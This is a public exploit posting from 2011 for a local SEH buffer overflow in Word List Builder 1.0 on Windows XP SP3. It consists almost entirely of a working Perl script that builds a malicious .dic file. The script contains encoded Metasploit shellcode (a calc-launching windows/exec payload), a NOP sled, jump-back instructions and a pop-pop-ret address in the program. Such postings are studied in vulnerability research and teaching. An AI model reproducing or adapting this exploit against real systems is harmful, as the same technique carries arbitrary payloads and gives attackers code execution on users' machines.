Word List Builder – Local Buffer Overflow (SEH)
# Exploit Title: Word List Builder Buffer Overflow Exploit(SEH) # Software Link: http://download.cnet.com/Word-List-Builder/3000-18541_4-10398336.html # Version: 1.0 # triggering details : open .dic file # Tested on: Win XP SP3 French # Date: 31/03/2011 # Author: h1ch4m (Hicham Oumounid) # Email: h1ch4m@live.fr # Home: http://net-effects.blogspot.com my $file = "exploit.dic"; my $size = 4108; # windows/exec - 223 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" . "\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" . "\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" . "\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" . "\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" . "\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" . "\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" . "\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" . "\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" . "\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" . "\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" . "\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" . "\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" . "\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" . "\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" . "\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51"; my $jump = "\xe9\x1c\xff\xff\xff"; # jump back 228 bytes my $nseh = "\xeb\xf9\xff\xff"; # jump back 7 bytes my $seh = pack('V', 0x00402AAF); # pop eax - pop edx - ret [word_builder.exe] my $junk = "\x90" x ($size-length($shellcode.$jump)); open($FILE,">$file"); print $FILE $junk.$shellcode.$jump.$nseh.$seh; close($FILE); print "Files Created successfully\n"; sleep(1); |